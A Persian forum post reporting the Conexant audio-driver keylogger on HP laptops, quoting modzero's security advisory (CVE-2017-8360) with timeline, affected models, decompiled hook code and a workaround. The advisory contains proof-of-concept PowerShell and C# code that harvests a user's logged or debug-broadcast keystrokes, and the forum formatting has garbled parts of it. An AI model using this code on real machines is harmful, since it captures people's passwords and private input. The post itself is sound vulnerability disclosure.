نمایش نتایج: از شماره 1 تا 1 , از مجموع 1

موضوع: ذخیره مخفیانه اطلاعات ثبت شده توسط کیبورد در برخی از لپ تاپ های hp

  1. #1
    مدیر ارشد Ramin آواتار ها
    تاریخ عضویت
    Sep 2010
    نوشته ها
    656
    تشکر تشکر کرده 
    745
    تشکر تشکر شده 
    4,987
    تشکر شده در
    1,513 پست

    پیش فرض ذخیره مخفیانه اطلاعات ثبت شده توسط کیبورد در برخی از لپ تاپ های hp






    یک گروه متخصص امنیت سوییسی در مطالعات خود دریافته اند که نرم افزاری روی برخی لپ تاپ های HP به صورت پیشفرض نصب است که اقدام به ثبت و ذخیره تمامی اطلاعات وارد شده از طریق کیبورد می کند.

    بر همین اساس محققان مؤسسه «Modzero» عنوان کرده اند که قابلیت مذکور برای جاسوسی کاربران توسعه نیافته اما با ذخیره تمامی اطلاعات تایپ شده توسط کیبورد، می تواند امنیت کاربران را به خطر بیندازد و رمز عبورها و اطلاعات مربوط به بانکداری آنلاین را در اختیار هکرها قرار دهد.

    گفتنی است محققان مذکور ابتدا مشکل مورد بحث را در تاریخ 8 اردیبهشت ماه به اطلاعات کارکنان اچ پی رسانده اند اما از آنجایی که پاسخی از طرف کمپانی دریافت نکردند، تصمیم گرفتند تا به صورت عمومی آن را منتشر کنند.

    اما از طرف دیگر HP در پاسخ خود به وبسایت Sky News اعلام کرده است که «شرکای تجاری آنها نرم افزاری را توسعه داده اند تا قابلیت های صوتی لپ تاپ ها را پیش از ورود به بازار مورد ارزیابی قرار دهند و این اپلیکیشن نمی بایست در نسخه نهایی عرضه شده وجود می داشت. در آینده ای نزدیک راه حل رفع این مشکل از طریق HP.com منتشر خواهد شد.»

    بنابر لیست ارائه شده توسط «Modzero»، حدوداً 28 مدل از لپ تاپ های HP که با سیستم عامل هایی متفاوت از ویندوز 7 گرفته تا ویندوز 10 به بازار عرضه شده اند، تحت تأثیر مشکل مورد بحث هستند.



    کد PHP:


    ---------------------------------------------------------------- v3 -
    modzero  Security  Advisory:  Unintended/Covert Storage Channel for 
    sensitive data in Conexant HD Audio Driver Package. [MZ-17-01]
    ---------------------------------------------------------------------

    ---------------------------------------------------------------------
    1. Timeline
    ---------------------------------------------------------------------

     * 
    2017-04-28Vulnerability has been discovered in MicTray64 version 
                   1.0.0.31 
    Thu Dec 24 08:35:35 2015  
     
    2017-04-28Vendor Conexant contacted (Email)  
     * 
    2017-04-29Higher impact has been discovered in most recent 
                   MicTray64 version  1.0.0.46 
    Tue Oct 11 10:56:13 2016
     
    2017-04-30CVE-2017-8360 has been assigned to this vulnerability.
     * 
    2017-05-01Contacted Hewlett-Packard Enterprise security advisor 
                   with detailed description of the problem
    .
     * 
    2017-05-02Contacted vendor Conexant via Twitter
     
    2017-05-05Sent technical information to HPE security contact
                   
    Informed HPE about releasing the advisory on Monday 8th 
                   of May in 
    case we don't get any feedback on our report. 
     * 2017-05-05: Received some notes from HPE after sending technical 
                   information. They tried to reach for security folks 
                   at HP Inc. to gain attention.
     * 2017-05-11: Release of the advisory
     
    ---------------------------------------------------------------------
    2. Summary
    ---------------------------------------------------------------------

    Vendor: Conexant Systems, Inc.

    Software packages known to be affected:

     * Recent and previous (Q2/2017) HP Audiodriver Packages / 
       Conexant High-Definition (HD) Audio Driver 
       Version 10.0.931.89 REV: Q PASS: 5
       (ftp://whp-aus1.cold.extweb.hp.com/pub/softpaq/sp79001-79500/sp79420.html)
     * Probably other hardware vendors, shipping Conexant hardware and 
       drivers

    Systems known to be affected:

     According to HP information in sp79420.html, the following systems 
     are affected:
     
     * HARDWARE PRODUCT MODEL(S): 
       HP EliteBook 820 G3 Notebook PC
       HP EliteBook 828 G3 Notebook PC
       HP EliteBook 840 G3 Notebook PC
       HP EliteBook 848 G3 Notebook PC
       HP EliteBook 850 G3 Notebook PC
       HP ProBook 640 G2 Notebook PC
       HP ProBook 650 G2 Notebook PC
       HP ProBook 645 G2 Notebook PC
       HP ProBook 655 G2 Notebook PC
       HP ProBook 450 G3 Notebook PC
       HP ProBook 430 G3 Notebook PC
       HP ProBook 440 G3 Notebook PC
       HP ProBook 446 G3 Notebook PC
       HP ProBook 470 G3 Notebook PC
       HP ProBook 455 G3 Notebook PC
       HP EliteBook 725 G3 Notebook PC
       HP EliteBook 745 G3 Notebook PC
       HP EliteBook 755 G3 Notebook PC
       HP EliteBook 1030 G1 Notebook PC
       HP ZBook 15u G3 Mobile Workstation
       HP Elite x2 1012 G1 Tablet
       HP Elite x2 1012 G1 with Travel Keyboard
       HP Elite x2 1012 G1 Advanced Keyboard
       HP EliteBook Folio 1040 G3 Notebook PC
       HP ZBook 17 G3 Mobile Workstation
       HP ZBook 15 G3 Mobile Workstation
       HP ZBook Studio G3 Mobile Workstation
       HP EliteBook Folio G1 Notebook PC
     * OPERATING SYSTEM(S): 
       Microsoft Windows 10 32
       Microsoft Windows 10 64
       Microsoft Windows 10 IOT Enterprise 32-Bit (x86)
       Microsoft Windows 10 IOT Enterprise 64-Bit (x86)
       Microsoft Windows 7 Enterprise 32 Edition
       Microsoft Windows 7 Enterprise 64 Edition
       Microsoft Windows 7 Home Basic 32 Edition
       Microsoft Windows 7 Home Basic 64 Edition
       Microsoft Windows 7 Home Premium 32 Edition
       Microsoft Windows 7 Home Premium 64 Edition
       Microsoft Windows 7 Professional 32 Edition
       Microsoft Windows 7 Professional 64 Edition
       Microsoft Windows 7 Starter 32 Edition
       Microsoft Windows 7 Ultimate 32 Edition
       Microsoft Windows 7 Ultimate 64 Edition
       Microsoft Windows Embedded Standard 7 32
       Microsoft Windows Embedded Standard 7E 32-Bit
       
    CVE-ID: CVE-2017-8360
    Severity: High/Medium
    Type: Covert Storage Channel
    Vendor: Conexant Systems, Inc.
    Product: mic tray icon
    Version: =< 1.0.0.46
    Attack type: Local
    Affected Components: Scheduled Task c:\windows\system32\mictray64.exe

    ---------------------------------------------------------------------
    3. Details
    ---------------------------------------------------------------------

    Conexant'
    s MicTray64.exe is installed  with the Conexant audio  driver
    package 
    and registered as a Microsoft Scheduled Task to run after each
    user login
    The  program monitors all  keystrokes made by  the user to
    capture  
    and  react  to  functions  such  as  microphone   mute/unmute
    keys
    /hotkeysMonitoring of keystrokes is added by implementing a low-
    level keyboard input  hook [1] function  that is installed  by calling
    SetwindowsHookEx
    ().

    In addition to the handling  of hotkey/function key strokesall  key-
    scancode information [2is written into a logfile in a world-readable
    path 
    (C:\Users\Public\MicTray.log). If the  logfile does not exist  or
    the setting is not yet  available in Windows registryall  keystrokes
    are passed to the OutputDebugString API
    which enables any process  in
    the  current  user
    -context  to  capture  keystrokes  without  exposing
    malicious  behavior
    .  Any framework  and  process with  access  to the
    MapViewOfFile API should be able to silently capture sensitive data by
    capturing   the  user
    's   keystrokes.  In   version  10.0.0.31,   only
    OutputDebugString was used  to forward key  scancodes and nothing  was
    written to files. The  following pseudocode shows the  registration of
    the keylogging function handler of MicTray64.exe version 1.0.0.46:

    int64 keylogger_enable(bool activate)
    {
    [...]
        if ( !keylogger_active )
        {
    [...]
          // 13=WH_KEYBOARD_LL: Installs a hook procedure that
          // monitors low-level keyboard input events. For 
          // more information, see the LowLevelKeyboardProc 
          // hook procedure.
          hKeyloggerHook = SetWindowsHookExW(
                13, (HOOKPROC)handle_scancode, 
                hSelf, 
                0);
          
          if ( hKeyloggerHook )
          {
            keylogger_active = 1;
            return 0;
          }
    [...]
    }

    After  registering   function  handle_scancode()  as  a   handler  to
    any keystroke made by the user, the following pseudo-code is executed
    every time a key is pressed or released:

    LRESULT handle_scancode(
       int _in_nCode, 
       WPARAM _in_wParam, 
       tagKBDLLHOOKSTRUCT *_in_lParam_keystroke)
    {
      tagKBDLLHOOKSTRUCT *key_stroke;
      WPARAM wParam;
      int nCode;
      int64 target; 
      DWORD is_keyfoo; 
      int is_keydown;
      char tmp; 
      int64 key_flags;
      int64 key_vk; 
      
      key_stroke   = _in_lParam_keystroke;
      wParam       = _in_wParam;
      nCode        = _in_nCode;
      
      if ( _in_nCode >= 0 )
      {
        target = (cfg_HotKeyMicScancode >> 8 * 
          (cfg_HotKeyMicScancode_len - cfg_HotKeyMicScancode_len2));
        LODWORD(key_vk)     = _in_lParam_keystroke->vkCode;
        LODWORD(key_flags)  = _in_lParam_keystroke->flags;
        is_keyfoo           = _in_lParam_keystroke->flags & 1;
        is_keydown          = ~(key_flags >> 7) & 1;
        [*] send_to_dbglog(
          0x1D,
          L"Mic target 0x%x scancode 0x%x flags 0x%x extra 0x%x vk 0x%x\n",
          target,
          _in_lParam_keystroke->scanCode,
          key_flags,
          _in_lParam_keystroke->dwExtraInfo,
          key_vk);
          
        conexant_handle_fn_keys(
          cfg_MicMuteScancodeSettings,
          is_keydown,
          key_stroke->scanCode,
          target,
          &cfg_HotKeyMicScancode_len,
          &cfg_HotKeyMicScancode_len2,
          1);
          
        if ( cfg_MicMuteScancodeSettings & 4 )
          conexant_handle_fn_keys(
            cfg_MicMuteScancodeSettings,
            is_keydown,
            key_stroke->scanCode,
            (cfg_HotKeyMicScancode2 >> 8 * 
                (cfg_HotKeyMicScancode2_len - cfg_HotKeyMicScancode2_len2)),
            &cfg_HotKeyMicScancode2_len,
            &cfg_HotKeyMicScancode2_len2,
            1);
            
        tmp = cfg_SpkMuteScancodeSettings;
        
        if ( cfg_SpkMuteScancodeSettings & 8 && is_keyfoo 
             || !(cfg_SpkMuteScancodeSettings & 8) )
        {
          conexant_handle_fn_keys(
            cfg_SpkMuteScancodeSettings,
            is_keydown,
            key_stroke->scanCode,
            (cfg_HotKeySpkScancode >> 8 * 
                (cfg_HotKeySpkScancode_len - cfg_HotKeySpkScancode_len2)),
            &dword_1402709C8,
            &dword_1402709CC,
            0);
          tmp = cfg_SpkMuteScancodeSettings;
        }
        
        if ( tmp & 4 && (tmp & 8 && is_keyfoo || !(tmp & 8)) )
          conexant_handle_fn_keys(
            tmp,
            is_keydown,
            key_stroke->scanCode,
            (cfg_HotKeySpkScancode2 >> 8 * 
                (cfg_HotKeySpkScancode2_len - cfg_HotKeySpkScancode2_len2)),
            &cfg_HotKeySpkScancode2_len,
            &cfg_HotKeySpkScancode2_len2,
            0);
      }
      return CallNextHookEx(hhk, nCode, wParam, key_stroke);
    }

    The  function called  at [*]   writes every  keystroke to  a  file  or
    broadcast it via Microsofts Debug Monitor APIs via store_keystroke():

    void store_keystroke(LPCVOID lpBuffer)
    {
      WORD *scancode_logline;
      int64 str_len;
      DWORD NumberOfBytesWritten;
      int str_newline; 
      scancode_logline = lpBuffer;
      if ( g_write_to_logfile )
      {
        SetFilePointer(g_hFile, 0, 0, 2);
        str_len = -1;
        
        while ( scancode_logline[str_len++ + 1] != 0 )
          ;
          
        WriteFile(
          g_hFile, 
          scancode_logline, 
          2 * str_len, 
          &NumberOfBytesWritten, 
          0);
          
        str_newline = '
    \n\0\r';
        WriteFile(g_hFile, &str_newline, 4, &NumberOfBytesWritten, 0);
      }
      else
      {
        OutputDebugStringW(lpBuffer);
      }
    }

    This issue leads to a high risk of leaking sensitive user input to any
    person    or   process    that   is    able   to    read   files    in
    C:\Users\Public\MicTray.log  or  call  MapViewOfFile().  Investigators
    with access to  the unencrypted file-system  might be able  to recover
    sensitive data of historic key-logs as well. Users are not aware  that
    every keystroke made  while entering sensitive  information - such  as
    passphrases, passwords on  local or remote  systems - are  captured by
    Conexant and exposed to any  process and framework with access  to the
    file-system or MapViewOfFile API.
    Additionally,  this  information-leak  via  Covert  Storage    Channel
    enables malware authors to capture keystrokes  without taking the risk
    of being classified as malicious task by AV heuristics.
     
    It  is  not  recommended  to  provide  information  on  keystrokes  to
    arbitrary  processes  by  writing  keystrokes  to  disk  or  by  using
    OutputDebugStringW() for debugging purposes.

    ---------------------------------------------------------------------
    4. Impact
    ---------------------------------------------------------------------

    Any process that is running in the current user-session and  therefore
    able to  monitor debug  messages, can  capture keystrokes  made by the
    user.  Processes  are  thus  able to  record  sensitive  data  such as
    passwords, without performing  suspicious activities that  may trigger
    AV vendor heuristics. Furthermore,  any process running on  the system
    by any  user is  able to  access all  keystrokes made  by the user via
    file-system  access. It  is not  known, if  log-data is  submitted to
    Conexant at any time or why all key presses are logged anyway.

    ---------------------------------------------------------------------
    5. Proof of concept exploit
    ---------------------------------------------------------------------

    A  proof-of-concept   can  be  implemented  by   using  PowerShell  to
    parse MicTray.log:

    $filename = "c:\users\public\MicTray.log"

    [System.IO.FileStream]   $fs = [System.IO.File]::Open(
          $filename, 
          [System.IO.FileMode]::Open, 
          [System.IO.FileAccess]::Read, 
          [System.IO.FileShare]::ReadWrite)
             
    [System.IO.StreamReader] $fr = [System.IO.StreamReader]::new(
          $fs, 
          [Text.UTF8Encoding]::UNICODE)

    $el = 0

    while($el -lt 2) {
       
       $line = $fr.ReadLine()

       # handle broken newlines in log...
       if([string]::IsNullOrEmpty($line)) {
          $el++
       } else {
          $el=0
       }

       $mc = [regex]::Match($line, 
             "MicTray64.exe.*flags (0x0[A-Fa-f0-9]?).*vk (0x[A-Fa-f0-9]+)$")
       $r = $mc.Groups[2].Value

       if(-Not [string]::IsNullOrEmpty($r)) {
          $i = [convert]::ToInt32($r, 16)
          $c = [convert]::ToChar($i)
          
          if($i -lt 0x20 -or $i -gt 0x7E) { $c = '
    .' }
             
          write-host -NoNewLine $("{0}" -f $c)
       }
    }

    However,  if no  logfile is  written, it  is also  possible to  obtain
    keystrokes  by  just  following Microsoft'
    s  DbMon  Debug  Monitor [3]
    approach of capturing strings passed to  OutputDebugString [4]:

    namespace 
    mod0_dbgview
    {
        class 
    Program
        
    {
            public static 
    void Main(string[] args)
            {
                
    DebugMonitor.Start();
                
    DebugMonitor.OnOutputDebugString += new
                      
    OnOutputDebugStringHandler(OnOutputDebugString);
                
    Console.WriteLine("Press 'Enter' to exit.");
                
    Console.ReadLine();
                
    DebugMonitor.Stop();
            }
            
    // version 1.0.0.46
            
    private static void OnOutputDebugString(int pidstring text)
            {
                
    char sep ' ';
                
    char nl '\n';
                
    text text.TrimEnd(nl);
                
    string[] items text.Split(sep);
                if (
    items[7].Equals("Mic"))
                {
                    
    int c_int Convert.ToInt32(items[17], 16);
                    if (
    c_int == 0xd)
                    {
                        
    Console.WriteLine();
                    }
                    else if (
    Convert.ToInt32(items[13], 16) == 0x00)
                        
    Console.Write("{0}", (char)(c_int 0xff));
                }
            }
            
            
    // version 1.0.0.31
            
    private static void OnOutputDebugString_v31(
                
    int pid
                
    string text)
            {
                
    char sep ' ';
                
    string[] items text.Split(sep);
                if (
    items[0].Equals("Mic"))
                {
                    
    int c_int Convert.ToInt32(items[10], 16);
                    if (
    c_int == 0xd)
                    {
                        
    Console.WriteLine();
                    }
                    else if(
    Convert.ToInt32(items[6], 16) == 0x00)
                        
    Console.Write("{0}", (char)(c_int 0xff));
                }
            }
        }
    }

    Any framework that provides an  API down to ReadFile() or  Microsoft's
    MapViewOfFile()  should  be  able to  capture  keystrokes  captured by
    Conexant'
    s audio driver utilsBy using Microsoft Windows Sysinternals
    Dbgview 
    [5],  keystrokes can  be visualized  easily, if  they are  not
    written to file
    .
       
    ---------------------------------------------------------------------
    6. Workaround
    ---------------------------------------------------------------------

    Delete  MicTray  executables  and logfiles.  Deleting   the  Scheduled
    Task  is  not sufficient
    , as Conexant's Windows Service CxMonSvc  will
    launch   MicTray   otherwise.    The   executable   is    located   at
    c:\Windows\System32\MicTray64.exe, the MicTray  logfile is located  at
    C:\Users\Public\MicTray.log

    ---------------------------------------------------------------------
    7. Fix
    ---------------------------------------------------------------------

    It is not known to modzero, if a security fix is available.

    ---------------------------------------------------------------------
    8. References
    ---------------------------------------------------------------------

    [1] "LowLevelKeyboardProc callback function" - 
        https://msdn.microsoft.com/en-us/library/windows/desktop/ms644985(v=vs.85).aspx
    [2] KBDLLHOOKSTRUCT structure - 
        https://msdn.microsoft.com/en-us/library/windows/desktop/ms644967(v=vs.85).aspx
    [3] "DbMon: Implements a Debug Monitor" - 
        https://msdn.microsoft.com/en-us/library/aa242171(v=vs.60).aspx
    [4] "MSDN/OutputDebugString function" - 
        https://msdn.microsoft.com/en-us/library/windows/desktop/aa363362(v=vs.85).aspx
    [5] "Microsoft Windows Sysinternals DebugView" 
        https://technet.microsoft.com/en-us/sysinternals/debugview.aspx
    [6] "modzero Security Advisory: Unintended/Covert Storage Channel for 
        sensitive data in Conexant HD Audio Driver Package. [MZ-17-01]" - 
        https://www.modzero.ch/advisories/MZ-17-01-Conexant-Keylogger.txt

    SHA256 sums:
    127163c863b320814b6f420390db9d5ce48e9158bdb62aa94e953d85ec1e7a89 *MicTray64_v31.exe
    7245f89fa00ea5fe5b290758a99288188d58cdaf2f4192ce469a5f4d256eaae0 *MicTray64_v31.i64 (IDA Pro DB by April 29, 2017)
    ba1bc46ae6a4a6ecca08028022163e6bba291c330b057c6235c33a7519e617b7 *MicTray64_v31.xml
    c046c7f364b42388bb392874129da555d9c688dced3ac1d6a1c6b01df29ea7a8 *MicTray64_v46.exe
    4563a0e4e85edeb7ddeba57d1cb8e4a30f1b5ee9fb128725a2664de2aa8c17ec *MicTray64_v46.i64 (IDA Pro DB by April 29, 2017)
    ba1bc46ae6a4a6ecca08028022163e6bba291c330b057c6235c33a7519e617b7 *MicTray64_v46.xml 

    ---------------------------------------------------------------------
    9. Credits
    ---------------------------------------------------------------------

     * Thorsten Schroeder

    ---------------------------------------------------------------------
    10. About modzero
    ---------------------------------------------------------------------

    The  independent  Swiss  company  modzero  AG  assists  clients  with
    security analysis  in the complex  areas of computer  technology. The
    focus  lies  on  highly  detailed  technical  analysis  of  concepts,
    software  and  hardware components  as  well  as the  development  of
    individual solutions.  Colleagues at  modzero AG work  exclusively in
    practical, highly  technical computer-security areas and  can draw on
    decades  of experience  in  various platforms,  system concepts,  and
    designs.

    https://www.modzero.ch
    contact@modzero.ch 


    ارتباط: Ramin@WebHostingTalk.IR



  2. تعداد تشکر ها ازRamin به دلیل پست مفید


  3. # ADS




     

اطلاعات موضوع

کاربرانی که در حال مشاهده این موضوع هستند

در حال حاضر 1 کاربر در حال مشاهده این موضوع است. (0 کاربران و 1 مهمان ها)

موضوعات مشابه

  1. پاسخ ها: 3
    آخرين نوشته: December 2nd, 2021, 15:40
  2. مشکل در ارسال دیدگاه توسط مدیر
    توسط erfanmix در انجمن Wordpress
    پاسخ ها: 2
    آخرين نوشته: September 8th, 2014, 05:38
  3. پاسخ ها: 0
    آخرين نوشته: July 10th, 2012, 12:59
  4. انتقال بکاپ توسط شما پرداخت هزینه توسط ما !
    توسط l2ra2 در انجمن سوالات و مشکلات
    پاسخ ها: 3
    آخرين نوشته: February 23rd, 2012, 13:24
  5. دامنه ها توسط کدام نهاد ثبت میشن؟
    توسط azita در انجمن دامین
    پاسخ ها: 9
    آخرين نوشته: May 1st, 2011, 15:39

کلمات کلیدی این موضوع

مجوز های ارسال و ویرایش

  • شما نمیتوانید موضوع جدیدی ارسال کنید
  • شما امکان ارسال پاسخ را ندارید
  • شما نمیتوانید فایل پیوست کنید.
  • شما نمیتوانید پست های خود را ویرایش کنید
  •